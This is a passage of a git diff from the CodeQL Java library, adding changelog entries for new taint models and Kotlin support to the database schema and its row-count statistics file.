+* Add taint models for the following `File` methods:
+   * `File::getAbsoluteFile`
+   * `File::getCanonicalFile`
+   * `File::getAbsolutePath`
+   * `File::getCanonicalPath`
+* Added a flow step for `toString` calls on tainted `android.text.Editable` objects. 
+* Added a data flow step for tainted Android intents that are sent to other activities and accessed there via `getIntent()`.
+* Added modeling of MyBatis (`org.apache.ibatis`) Providers, resulting in additional sinks for the queries `java/ognl-injection`, `java/sql-injection`, `java/sql-injection-local` and `java/concatenated-sql-query`.
diff --git a/java/ql/lib/codeql-pack.release.yml b/java/ql/lib/codeql-pack.release.yml
index 2e08f40f6aa..df29a726bcc 100644
--- a/java/ql/lib/codeql-pack.release.yml
+++ b/java/ql/lib/codeql-pack.release.yml
@@ -1,2 +1,2 @@
 ---
-lastReleaseVersion: 0.1.0
+lastReleaseVersion: 0.2.1
diff --git a/java/ql/lib/config/semmlecode.dbscheme b/java/ql/lib/config/semmlecode.dbscheme
index 37f33da42d2..b9225587bc0 100755
--- a/java/ql/lib/config/semmlecode.dbscheme
+++ b/java/ql/lib/config/semmlecode.dbscheme
@@ -17,9 +17,20 @@ compilations(
      *   javac A.java B.java C.java
      */
     unique int id : @compilation,
-    string cwd : string ref
+    int kind: int ref,
+    string cwd : string ref,
+    string name : string ref
 );
 
+case @compilation.kind of
+   1  = @javacompilation
+|  2  = @kotlincompilation
+;
+
+compilation_started(
+    int id : @compilation ref
+)
+
 /**
  * The arguments that were passed to the extractor for a compiler
  * invocation. If `id` is for the compiler invocation
@@ -64,6 +75,24 @@ compilation_compiling_files(
     int file : @file ref
 );
 
+/**
+ * For each file recorded in `compilation_compiling_files`,
+ * there will be a corresponding row in
+ * `compilation_compiling_files_completed` once extraction
+ * of that file is complete. The `result` will indicate the
+ * extraction result:
+ *
+ *     0: Successfully extracted
+ *     1: Errors were encountered, but extraction recovered
+ *     2: Errors were encountered, and extraction could not recover
+ */
+#keyset[id, num]
+compilation_compiling_files_completed(
+    int id : @compilation ref,
+    int num : int ref,
+    int result : int ref
+);
+
 /**
  * The time taken by the extractor for a compiler invocation.
  *
@@ -106,18 +135,36 @@ diagnostic_for(
 );
 
 /**
- * If extraction was successful, then `cpu_seconds` and
- * `elapsed_seconds` are the CPU time and elapsed time (respectively)
- * that extraction took for compiler invocation `id`.
+ * The `cpu_seconds` and `elapsed_seconds` are the CPU time and elapsed
+ * time (respectively) that the original compilation (not the extraction)
+ * took for compiler invocation `id`.
  */
-compilation_finished(
+compilation_compiler_times(
     unique int id : @compilation ref,
     float cpu_seconds : float ref,
     float elapsed_seconds : float ref
 );
 
+/**
+ * If extraction was successful, then `cpu_seconds` and
+ * `elapsed_seconds` are the CPU time and elapsed time (respectively)
+ * that extraction took for compiler invocation `id`.
+ * The `result` will indicate the extraction result:
+ *
+ *     0: Successfully extracted
+ *     1: Errors were encountered, but extraction recovered
+ *     2: Errors were encountered, and extraction could not recover
+ */
+compilation_finished(
+    unique int id : @compilation ref,
+    float cpu_seconds : float ref,
+    float elapsed_seconds : float ref,
+    int result : int ref
+);
+
 diagnostics(
     unique int id: @diagnostic,
+    string generated_by: string ref, // TODO: Sync this with the other languages?
     int severity: int ref,
     string error_tag: string ref,
     string error_message: string ref,
@@ -292,6 +339,39 @@ classes(
   int sourceid: @class ref
 );
 
+file_class(
+  int id: @class ref
+);
+
+class_object(
+  unique int id: @class ref,
+  unique int instance: @field ref
+);
+
+type_companion_object(
+  unique int id: @classorinterface ref,
+  unique int instance: @field ref,
+  unique int companion_object: @class ref
+);
+
+kt_nullable_types(
+  unique int id: @kt_nullable_type,
+  int classid: @reftype ref
+)
+
+kt_notnull_types(
+  unique int id: @kt_notnull_type,
+  int classid: @reftype ref
+)
+
+kt_type_alias(
+  unique int id: @kt_type_alias,
+  string name: string ref,
+  int kttypeid: @kt_type ref
+)
+
+@kt_type = @kt_nullable_type | @kt_notnull_type
+
 isRecord(
   unique int id: @class ref
 );
@@ -323,6 +403,11 @@ fields(
   int sourceid: @field ref
 );
 
+fieldsKotlinType(
+  unique int id: @field ref,
+  int kttypeid: @kt_type ref
+);
+
 constrs(
   unique int id: @constructor,
   string nodeName: string ref,
@@ -332,6 +417,11 @@ constrs(
   int sourceid: @constructor ref
 );
 
+constrsKotlinType(
+  unique int id: @constructor ref,
+  int kttypeid: @kt_type ref
+);
+
 methods(
   unique int id: @method,
   string nodeName: string ref,
@@ -341,6 +431,11 @@ methods(
   int sourceid: @method ref
 );
 
+methodsKotlinType(
+  unique int id: @method ref,
+  int kttypeid: @kt_type ref
+);
+
 #keyset[parentid,pos]
 params(
   unique int id: @param,
@@ -350,6 +445,11 @@ params(
   int sourceid: @param ref
 );
 
+paramsKotlinType(
+  unique int id: @param ref,
+  int kttypeid: @kt_type ref
+);
+
 paramName(
   unique int id: @param ref,
   string nodeName: string ref
@@ -501,7 +601,7 @@ stmts(
   int bodydecl: @callable ref
 );
 
-@stmtparent = @callable | @stmt | @switchexpr;
+@stmtparent = @callable | @stmt | @switchexpr | @whenexpr| @stmtexpr;
 
 case @stmt.kind of
   0 = @block
@@ -529,6 +629,7 @@ case @stmt.kind of
 | 22 = @catchclause
 | 23 = @yieldstmt
 | 24 = @errorstmt
+| 25 = @whenbranch
 ;
 
 #keyset[parent,idx]
@@ -540,6 +641,11 @@ exprs(
   int idx: int ref
 );
 
+exprsKotlinType(
+  unique int id: @expr ref,
+  int kttypeid: @kt_type ref
+);
+
 callableEnclosingExpr(
   unique int id: @expr ref,
   int callable_id: @callable ref
@@ -630,9 +736,29 @@ case @expr.kind of
 | 72  = @intersectiontypeaccess
 | 73  = @switchexpr
 | 74  = @errorexpr
+| 75  = @whenexpr
+| 76  = @getclassexpr
+| 77  = @safecastexpr
+| 78  = @implicitcastexpr
+| 79  = @implicitnotnullexpr
+| 80  = @implicitcoerciontounitexpr
+| 81  = @notinstanceofexpr
+| 82  = @stmtexpr
+| 83  = @stringtemplateexpr
+| 84  = @notnullexpr
+| 85  = @unsafecoerceexpr
+| 86  = @valueeqexpr
+| 87  = @valueneexpr
+| 88  = @propertyref
 ;
 
-@classinstancexpr = @newexpr | @lambdaexpr | @memberref
+/** Holds if this `when` expression was written as an `if` expression. */
+when_if(unique int id: @whenexpr ref);
+
+/** Holds if this `when` branch was written as an `else` branch. */
+when_branch_else(unique int id: @whenbranch ref);
+
+@classinstancexpr = @newexpr | @lambdaexpr | @memberref | @propertyref
 
 @annotation = @declannotation | @typeannotation
 @typeaccess = @unannotatedtypeaccess | @annotatedtypeaccess
@@ -684,7 +810,9 @@ case @expr.kind of
              | @leexpr
              | @geexpr
              | @eqexpr
-             | @neexpr;
+             | @neexpr
+             | @valueeqexpr
+             | @valueneexpr;
 
 @unaryexpr =   @postincexpr
              | @postdecexpr
@@ -693,7 +821,8 @@ case @expr.kind of
              | @minusexpr
              | @plusexpr
              | @bitnotexpr
-             | @lognotexpr;
+             | @lognotexpr
+             | @notnullexpr;
 
 @caller =  @classinstancexpr
          | @methodaccess
@@ -710,7 +839,22 @@ memberRefBinding(
   int callable: @callable ref
 );
 
-@exprparent = @stmt | @expr | @callable | @field | @fielddecl | @class | @interface | @param | @localvar | @typevariable;
+propertyRefGetBinding(
+  unique int id: @expr ref,
+  int getter: @callable ref
+);
+
+propertyRefFieldBinding(
+  unique int id: @expr ref,
+  int field: @field ref
+);
+
+propertyRefSetBinding(
+  unique int id: @expr ref,
+  int setter: @callable ref
+);
+
+@exprparent = @stmt | @expr | @whenbranch | @callable | @field | @fielddecl | @class | @interface | @param | @localvar | @typevariable;
 
 variableBinding(
   unique int expr: @varaccess ref,
@@ -728,6 +872,11 @@ localvars(
   int parentid: @localvariabledeclexpr ref
 );
 
+localvarsKotlinType(
+  unique int id: @localvar ref,
+  int kttypeid: @kt_type ref
+);
+
 @namedexprorstmt = @breakstmt
                  | @continuestmt
                  | @labeledstmt
@@ -867,19 +1016,24 @@ javadocText(
 @classorarray = @class | @array;
 @type = @primitive | @reftype;
 @callable = @method | @constructor;
-@element = @file | @package | @primitive | @class | @interface | @method | @constructor | @modifier | @param | @exception | @field |
-           @annotation | @boundedtype | @array | @localvar | @expr | @stmt | @import | @fielddecl;
+
+/** A program element that has a name. */
+@element = @package | @modifier | @annotation |
+           @locatableElement;
+
+@locatableElement = @file | @primitive | @class | @interface | @method | @constructor | @param | @exception | @field |
+                    @boundedtype | @array | @localvar | @expr | @stmt | @import | @fielddecl | @kt_type | @kt_type_alias |
+                    @kt_property;
 
 @modifiable = @member_modifiable| @param | @localvar ;
 
-@member_modifiable = @class | @interface | @method | @constructor | @field ;
+@member_modifiable = @class | @interface | @method | @constructor | @field | @kt_property;
 
 @member = @method | @constructor | @field | @reftype ;
 
-@locatable = @file | @class | @interface | @fielddecl | @field | @constructor | @method | @param | @exception
-             | @boundedtype | @typebound | @array | @primitive
-             | @import | @stmt | @expr | @localvar | @javadoc | @javadocTag | @javadocText
-             | @xmllocatable;
+/** A program element that has a location. */
+@locatable = @typebound | @javadoc | @javadocTag | @javadocText | @xmllocatable | @ktcomment |
+             @locatableElement;
 
 @top = @element | @locatable | @folder;
 
@@ -982,3 +1136,99 @@ configLocations(
 );
 
 @configLocatable = @config | @configName | @configValue;
+
+ktComments(
+  unique int id: @ktcomment,
+  int kind: int ref,
+  string text : string ref
+)
+
+ktCommentSections(
+  unique int id: @ktcommentsection,
+  int comment: @ktcomment ref,
+  string content : string ref
+)
+
+ktCommentSectionNames(
+  unique int id: @ktcommentsection ref,
+  string name : string ref
+)
+
+ktCommentSectionSubjectNames(
+  unique int id: @ktcommentsection ref,
+  string subjectname : string ref
+)
+
+#keyset[id, owner]
+ktCommentOwners(
+  int id: @ktcomment ref,
+  int owner: @top ref
+)
+
+@breakcontinuestmt = @breakstmt
+                   | @continuestmt;
+
+@ktloopstmt = @whilestmt
+            | @dostmt;
+
+ktBreakContinueTargets(
+  unique int id: @breakcontinuestmt ref,
+  int target: @ktloopstmt ref
+)
+
+ktExtensionFunctions(
+  unique int id: @method ref,
+  int typeid: @type ref,
+  int kttypeid: @kt_type ref
+)
+
+ktProperties(
+  unique int id: @kt_property,
+  string nodeName: string ref
+)
+
+ktPropertyGetters(
+  unique int id: @kt_property ref,
+  int getter: @method ref
+)
+
+ktPropertySetters(
+  unique int id: @kt_property ref,
+  int setter: @method ref
+)
+
+ktPropertyBackingFields(
+  unique int id: @kt_property ref,
+  int backingField: @field ref
+)
+
+ktSyntheticBody(
+  unique int id: @callable ref,
+  int kind: int ref
+  // 1: ENUM_VALUES
+  // 2: ENUM_VALUEOF
+)
+
+ktLocalFunction(
+  unique int id: @method ref
+)
+
+ktInitializerAssignment(
+  unique int id: @assignexpr ref
+)
+
+ktPropertyDelegates(
+  unique int id: @kt_property ref,
+  unique int variableId: @variable ref
+)
+
+compiler_generated(
+  unique int id: @element ref,
+  int kind: int ref
+  // 1: Declaring classes of adapter functions in Kotlin
+)
+
+ktFunctionOriginalNames(
+  unique int id: @method ref,
+  string name: string ref
+)
diff --git a/java/ql/lib/config/semmlecode.dbscheme.stats b/java/ql/lib/config/semmlecode.dbscheme.stats
index 56bef5bb850..f21fb24e899 100644
--- a/java/ql/lib/config/semmlecode.dbscheme.stats
+++ b/java/ql/lib/config/semmlecode.dbscheme.stats
@@ -1,12 +1,16 @@
 <dbstats>
     <typesizes>
         <e>
-            <k>@compilation</k>
+            <k>@javacompilation</k>
             <v>8629</v>
         </e>
+        <e>
+            <k>@kotlincompilation</k>
+            <v>6817</v>
+        </e>
         <e>
             <k>@diagnostic</k>
-            <v>33024</v>
+            <v>628563</v>
         </e>
         <e>
             <k>@externalDataElement</k>
@@ -20,33 +24,41 @@
             <k>@similarity</k>
             <v>1</v>
         </e>
-        <e>
-            <k>@location_default</k>
-            <v>17430587</v>
-        </e>
         <e>
             <k>@file</k>
-            <v>856971</v>
+            <v>8013164</v>
         </e>
         <e>
             <k>@folder</k>
-            <v>267347</v>
+            <v>1283033</v>
         </e>
         <e>
             <k>@package</k>
-            <v>121144</v>
+            <v>612201</v>
         </e>
         <e>
             <k>@primitive</k>
-            <v>5691</v>
+            <v>12271</v>
         </e>
         <e>
             <k>@modifier</k>
-            <v>6260</v>
+            <v>12271</v>
         </e>
         <e>
             <k>@class</k>
-            <v>1315327</v>
+            <v>12008156</v>
+        </e>
+        <e>
+            <k>@kt_nullable_type</k>
+            <v>1363</v>
+        </e>
+        <e>
+            <k>@kt_notnull_type</k>
+            <v>191200</v>
+        </e>
+        <e>
+            <k>@kt_type_alias</k>
+            <v>2060</v>
         </e>
         <e>
             <k>@interface</k>
@@ -54,43 +66,47 @@
         </e>
         <e>
             <k>@fielddecl</k>
-            <v>129808</v>
+            <v>399499</v>
         </e>
         <e>
             <k>@field</k>
-            <v>1967515</v>
+            <v>27544995</v>
         </e>
         <e>
             <k>@constructor</k>
-            <v>959860</v>
+            <v>5063959</v>
         </e>
         <e>
             <k>@method</k>
-            <v>13924119</v>
+            <v>59177700</v>
         </e>
         <e>
-            <k>@param</k>
-            <v>14919825</v>
+            <k>@location_default</k>
+            <v>430737907</v>
         </e>
         <e>
             <k>@exception</k>
             <v>1228291</v>
         </e>
+        <e>
+            <k>@param</k>
+            <v>62111906</v>
+        </e>
         <e>
             <k>@typevariable</k>
-            <v>454373</v>
+            <v>5113044</v>
         </e>
         <e>
             <k>@wildcard</k>
-            <v>346385</v>
+            <v>2416084</v>
         </e>
         <e>
             <k>@typebound</k>
-            <v>350537</v>
+            <v>3171451</v>
         </e>
         <e>
             <k>@array</k>
-            <v>172257</v>
+            <v>1109871</v>
         </e>
         <e>
             <k>@import</k>
@@ -98,7 +114,7 @@
         </e>
         <e>
             <k>@block</k>
-            <v>707491</v>
+            <v>845356</v>
         </e>
         <e>
             <k>@ifstmt</k>
@@ -130,11 +146,11 @@
         </e>
         <e>
             <k>@synchronizedstmt</k>
-            <v>6634</v>
+            <v>17293</v>
         </e>
         <e>
             <k>@returnstmt</k>
-            <v>235435</v>
+            <v>674742</v>
         </e>
         <e>
             <k>@throwstmt</k>
@@ -166,7 +182,7 @@
         </e>
         <e>
             <k>@localtypedeclstmt</k>
-            <v>1001</v>
+            <v>4062</v>
         </e>
         <e>
             <k>@constructorinvocationstmt</k>
@@ -174,7 +190,7 @@
         </e>
         <e>
             <k>@superconstructorinvocationstmt</k>
-            <v>66334</v>
+            <v>223702</v>
         </e>
         <e>
             <k>@case</k>
@@ -186,7 +202,7 @@
         </e>
         <e>
             <k>@labeledstmt</k>
-            <v>2342</v>
+            <v>2380</v>
         </e>
         <e>
             <k>@yieldstmt</k>
@@ -196,6 +212,10 @@
             <k>@errorstmt</k>
             <v>1</v>
         </e>
+        <e>
+            <k>@whenbranch</k>
+            <v>237749</v>
+        </e>
         <e>
             <k>@arrayaccess</k>
             <v>181399</v>
@@ -314,7 +334,7 @@
         </e>
         <e>
             <k>@andlogicalexpr</k>
-            <v>36748</v>
+            <v>40867</v>
         </e>
         <e>
             <k>@orlogicalexpr</k>
@@ -398,11 +418,11 @@
         </e>
         <e>
             <k>@typeliteral</k>
-            <v>98521</v>
+            <v>137113</v>
         </e>
         <e>
             <k>@thisaccess</k>
-            <v>200409</v>
+            <v>951850</v>
         </e>
         <e>
             <k>@superaccess</k>
@@ -414,11 +434,11 @@
         </e>
         <e>
             <k>@methodaccess</k>
-            <v>1676280</v>
+            <v>1676281</v>
         </e>
         <e>
             <k>@unannotatedtypeaccess</k>
-            <v>1828301</v>
+            <v>2936239</v>
         </e>
         <e>
             <k>@arraytypeaccess</k>
@@ -466,7 +486,7 @@
         </e>
         <e>
             <k>@lambdaexpr</k>
-            <v>109471</v>
+            <v>183561</v>
         </e>
         <e>
             <k>@memberref</k>
@@ -492,6 +512,62 @@
             <k>@errorexpr</k>
             <v>1</v>
         </e>
+        <e>
+            <k>@whenexpr</k>
+            <v>172033</v>
+        </e>
+        <e>
+            <k>@getclassexpr</k>
+            <v>1363</v>
+        </e>
+        <e>
+            <k>@safecastexpr</k>
+            <v>6474</v>
+        </e>
+        <e>
+            <k>@implicitcastexpr</k>
+            <v>30743</v>
+        </e>
+        <e>
+            <k>@implicitnotnullexpr</k>
+            <v>242928</v>
+        </e>
+        <e>
+            <k>@implicitcoerciontounitexpr</k>
+            <v>90274</v>
+        </e>
+        <e>
+            <k>@notinstanceofexpr</k>
+            <v>19572</v>
+        </e>
+        <e>
+            <k>@stmtexpr</k>
+            <v>54780</v>
+        </e>
+        <e>
+            <k>@stringtemplateexpr</k>
+            <v>55902</v>
+        </e>
+        <e>
+            <k>@notnullexpr</k>
+            <v>12914</v>
+        </e>
+        <e>
+            <k>@unsafecoerceexpr</k>
+            <v>1</v>
+        </e>
+        <e>
+            <k>@valueeqexpr</k>
+            <v>103237</v>
+        </e>
+        <e>
+            <k>@valueneexpr</k>
+            <v>108164</v>
+        </e>
+        <e>
+            <k>@propertyref</k>
+            <v>9004</v>
+        </e>
         <e>
             <k>@localvar</k>
             <v>385335</v>
@@ -532,29 +608,29 @@
             <k>@xmldtd</k>
             <v>569</v>
         </e>
-        <e>
-            <k>@xmlelement</k>
-            <v>1199832</v>
-        </e>
         <e>
             <k>@javadocText</k>
             <v>2503256</v>
         </e>
+        <e>
+            <k>@xmlelement</k>
+            <v>106674479</v>
+        </e>
         <e>
             <k>@xmlattribute</k>
-            <v>1841492</v>
+            <v>129755446</v>
         </e>
         <e>
             <k>@xmlnamespace</k>
-            <v>2845</v>
+            <v>8180</v>
         </e>
         <e>
             <k>@xmlcomment</k>
-            <v>92776</v>
+            <v>107367127</v>
         </e>
         <e>
             <k>@xmlcharacters</k>
-            <v>811651</v>
+            <v>101461901</v>
         </e>
         <e>
             <k>@config</k>
@@ -568,6 +644,18 @@
             <k>@configValue</k>
             <v>1</v>
         </e>
+        <e>
+            <k>@ktcomment</k>
+            <v>133620</v>
+        </e>
+        <e>
+            <k>@ktcommentsection</k>
+            <v>59545</v>
+        </e>
+        <e>
+            <k>@kt_property</k>
+            <v>26996877</v>
+        </e>
     </typesizes>
     <stats>
         <relation>
@@ -578,12 +666,36 @@
                     <k>id</k>
                     <v>8629</v>
                 </e>
+                <e>
+                    <k>kind</k>
+                    <v>165</v>
+                </e>
                 <e>
                     <k>cwd</k>
                     <v>165</v>
                 </e>
+                <e>
+                    <k>name</k>
+                    <v>8629</v>
+                </e>
             </columnsizes>
             <dependencies>
+                <dep>
+                    <src>id</src>
+                    <trg>kind</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>1</a>
+                                    <b>2</b>
+                                    <v>8629</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
                 <dep>
                     <src>id</src>
                     <trg>cwd</trg>
@@ -600,6 +712,70 @@
                         </hist>
                     </val>
                 </dep>
+                <dep>
+                    <src>id</src>
+                    <trg>name</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>1</a>
+                                    <b>2</b>
+                                    <v>8629</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+                <dep>
+                    <src>kind</src>
+                    <trg>id</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>52</a>
+                                    <b>53</b>
+                                    <v>165</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+                <dep>
+                    <src>kind</src>
+                    <trg>cwd</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>1</a>
+                                    <b>2</b>
+                                    <v>165</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+                <dep>
+                    <src>kind</src>
+                    <trg>name</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>52</a>
+                                    <b>53</b>
+                                    <v>165</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
                 <dep>
                     <src>cwd</src>
                     <trg>id</trg>
@@ -616,77 +792,9 @@
                         </hist>
                     </val>
                 </dep>
-            </dependencies>
-        </relation>
-        <relation>
-            <name>compilation_args</name>
-            <cardinality>34517</cardinality>
-            <columnsizes>
-                <e>
-                    <k>id</k>
-                    <v>8629</v>
-                </e>
-                <e>
-                    <k>num</k>
-                    <v>663</v>
-                </e>
-                <e>
-                    <k>arg</k>
-                    <v>9127</v>
-                </e>
-            </columnsizes>
-            <dependencies>
                 <dep>
-                    <src>id</src>
-                    <trg>num</trg>
-                    <val>
-                        <hist>
-                            <budget>12</budget>
-                            <bs>
-                                <b>
-                                    <a>4</a>
-                                    <b>5</b>
-                                    <v>8629</v>
-                                </b>
-                            </bs>
-                        </hist>
-                    </val>
-                </dep>
-                <dep>
-                    <src>id</src>
-                    <trg>arg</trg>
-                    <val>
-                        <hist>
-                            <budget>12</budget>
-                            <bs>
-                                <b>
-                                    <a>4</a>
-                                    <b>5</b>
-                                    <v>8629</v>
-                                </b>
-                            </bs>
-                        </hist>
-                    </val>
-                </dep>
-                <dep>
-                    <src>num</src>
-                    <trg>id</trg>
-                    <val>
-                        <hist>
-                            <budget>12</budget>
-                            <bs>
-                                <b>
-                                    <a>52</a>
-                                    <b>53</b>
-                                    <v>663</v>
-                                </b>
-                            </bs>
-                        </hist>
-                    </val>
-                </dep>
-                <dep>
-                    <src>num</src>
-                    <trg>arg</trg>
+                    <src>cwd</src>
+                    <trg>kind</trg>
                     <val>
                         <hist>
                             <budget>12</budget>
@@ -694,8 +802,19 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>497</v>
+                                    <v>165</v>
                                 </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+                <dep>
+                    <src>cwd</src>
+                    <trg>name</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
                                 <b>
                                     <a>52</a>
                                     <b>53</b>
@@ -706,7 +825,7 @@
                     </val>
                 </dep>
                 <dep>
-                    <src>arg</src>
+                    <src>name</src>
                     <trg>id</trg>
                     <val>
                         <hist>
@@ -717,10 +836,228 @@
                                     <b>2</b>
                                     <v>8629</v>
                                 </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+                <dep>
+                    <src>name</src>
+                    <trg>kind</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
                                 <b>
-                                    <a>52</a>
-                                    <b>53</b>
-                                    <v>497</v>
+                                    <a>1</a>
+                                    <b>2</b>
+                                    <v>8629</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+                <dep>
+                    <src>name</src>
+                    <trg>cwd</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>1</a>
+                                    <b>2</b>
+                                    <v>8629</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+            </dependencies>
+        </relation>
+        <relation>
+            <name>compilation_started</name>
+            <cardinality>6817</cardinality>
+            <columnsizes>
+                <e>
+                    <k>id</k>
+                    <v>6817</v>
+                </e>
+            </columnsizes>
+            <dependencies/>
+        </relation>
+        <relation>
+            <name>compilation_args</name>
+            <cardinality>158163</cardinality>
+            <columnsizes>
+                <e>
+                    <k>id</k>
+                    <v>6817</v>
+                </e>
+                <e>
+                    <k>num</k>
+                    <v>38177</v>
+                </e>
+                <e>
+                    <k>arg</k>
+                    <v>89989</v>
+                </e>
+            </columnsizes>
+            <dependencies>
+                <dep>
+                    <src>id</src>
+                    <trg>num</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>20</a>
+                                    <b>21</b>
+                                    <v>2726</v>
+                                </b>
+                                <b>
+                                    <a>23</a>
+                                    <b>24</b>
+                                    <v>1363</v>
+                                </b>
+                                <b>
+                                    <a>25</a>
+                                    <b>26</b>
+                                    <v>1363</v>
+                                </b>
+                                <b>
+                                    <a>28</a>
+                                    <b>29</b>
+                                    <v>1363</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+                <dep>
+                    <src>id</src>
+                    <trg>arg</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>20</a>
+                                    <b>21</b>
+                                    <v>2726</v>
+                                </b>
+                                <b>
+                                    <a>23</a>
+                                    <b>24</b>
+                                    <v>1363</v>
+                                </b>
+                                <b>
+                                    <a>25</a>
+                                    <b>26</b>
+                                    <v>1363</v>
+                                </b>
+                                <b>
+                                    <a>27</a>
+                                    <b>28</b>
+                                    <v>1363</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+                <dep>
+                    <src>num</src>
+                    <trg>id</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>1</a>
+                                    <b>2</b>
+                                    <v>4090</v>
+                                </b>
+                                <b>
+                                    <a>2</a>
+                                    <b>3</b>
+                                    <v>2726</v>
+                                </b>
+                                <b>
+                                    <a>3</a>
+                                    <b>4</b>
+                                    <v>4090</v>
+                                </b>
+                                <b>
+                                    <a>5</a>
+                                    <b>6</b>
+                                    <v>27269</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+                <dep>
+                    <src>num</src>
+                    <trg>arg</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>1</a>
+                                    <b>2</b>
+                                    <v>8180</v>
+                                </b>
+                                <b>
+                                    <a>2</a>
+                                    <b>3</b>
+                                    <v>5453</v>
+                                </b>
+                                <b>
+                                    <a>3</a>
+                                    <b>4</b>
+                                    <v>10907</v>
+                                </b>
+                                <b>
+                                    <a>4</a>
+                                    <b>5</b>
+                                    <v>6817</v>
+                                </b>
+                                <b>
+                                    <a>5</a>
+                                    <b>6</b>
+                                    <v>6817</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+                <dep>
+                    <src>arg</src>
+                    <trg>id</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>1</a>
+                                    <b>2</b>
+                                    <v>69537</v>
+                                </b>
+                                <b>
+                                    <a>2</a>
+                                    <b>3</b>
+                                    <v>2726</v>
+                                </b>
+                                <b>
+                                    <a>4</a>
+                                    <b>5</b>
+                                    <v>6817</v>
+                                </b>
+                                <b>
+                                    <a>5</a>
+                                    <b>6</b>
+                                    <v>10907</v>
                                 </b>
                             </bs>
                         </hist>
@@ -736,7 +1073,17 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>9127</v>
+                                    <v>72264</v>
+                                </b>
+                                <b>
+                                    <a>2</a>
+                                    <b>3</b>
+                                    <v>14998</v>
+                                </b>
+                                <b>
+                                    <a>4</a>
+                                    <b>5</b>
+                                    <v>2726</v>
                                 </b>
                             </bs>
                         </hist>
@@ -746,19 +1093,19 @@
         </relation>
         <relation>
             <name>compilation_compiling_files</name>
-            <cardinality>40492</cardinality>
+            <cardinality>56513</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
-                    <v>8297</v>
+                    <v>2161</v>
                 </e>
                 <e>
                     <k>num</k>
-                    <v>4978</v>
+                    <v>16676</v>
                 </e>
                 <e>
                     <k>file</k>
-                    <v>40492</v>
+                    <v>47248</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -772,47 +1119,22 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>1659</v>
+                                    <v>308</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>1161</v>
+                                    <v>617</v>
                                 </b>
                                 <b>
-                                    <a>3</a>
-                                    <b>4</b>
-                                    <v>2157</v>
+                                    <a>35</a>
+                                    <b>36</b>
+                                    <v>617</v>
                                 </b>
                                 <b>
-                                    <a>4</a>
-                                    <b>5</b>
-                                    <v>663</v>
-                                </b>
-                                <b>
-                                    <a>5</a>
-                                    <b>6</b>
-                                    <v>497</v>
-                                </b>
-                                <b>
-                                    <a>6</a>
-                                    <b>7</b>
-                                    <v>497</v>
-                                </b>
-                                <b>
-                                    <a>7</a>
-                                    <b>11</b>
-                                    <v>663</v>
-                                </b>
-                                <b>
-                                    <a>12</a>
-                                    <b>15</b>
-                                    <v>663</v>
-                                </b>
-                                <b>
-                                    <a>19</a>
-                                    <b>31</b>
-                                    <v>331</v>
+                                    <a>54</a>
+                                    <b>55</b>
+                                    <v>617</v>
                                 </b>
                             </bs>
                         </hist>
@@ -828,47 +1150,22 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>1659</v>
+                                    <v>308</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>1161</v>
+                                    <v>617</v>
                                 </b>
                                 <b>
-                                    <a>3</a>
-                                    <b>4</b>
-                                    <v>2157</v>
+                                    <a>35</a>
+                                    <b>36</b>
+                                    <v>617</v>
                                 </b>
                                 <b>
-                                    <a>4</a>
-                                    <b>5</b>
-                                    <v>663</v>
-                                </b>
-                                <b>
-                                    <a>5</a>
-                                    <b>6</b>
-                                    <v>497</v>
-                                </b>
-                                <b>
-                                    <a>6</a>
-                                    <b>7</b>
-                                    <v>497</v>
-                                </b>
-                                <b>
-                                    <a>7</a>
-                                    <b>11</b>
-                                    <v>663</v>
-                                </b>
-                                <b>
-                                    <a>12</a>
-                                    <b>15</b>
-                                    <v>663</v>
-                                </b>
-                                <b>
-                                    <a>19</a>
-                                    <b>31</b>
-                                    <v>331</v>
+                                    <a>54</a>
+                                    <b>55</b>
+                                    <v>617</v>
                                 </b>
                             </bs>
                         </hist>
@@ -881,50 +1178,20 @@
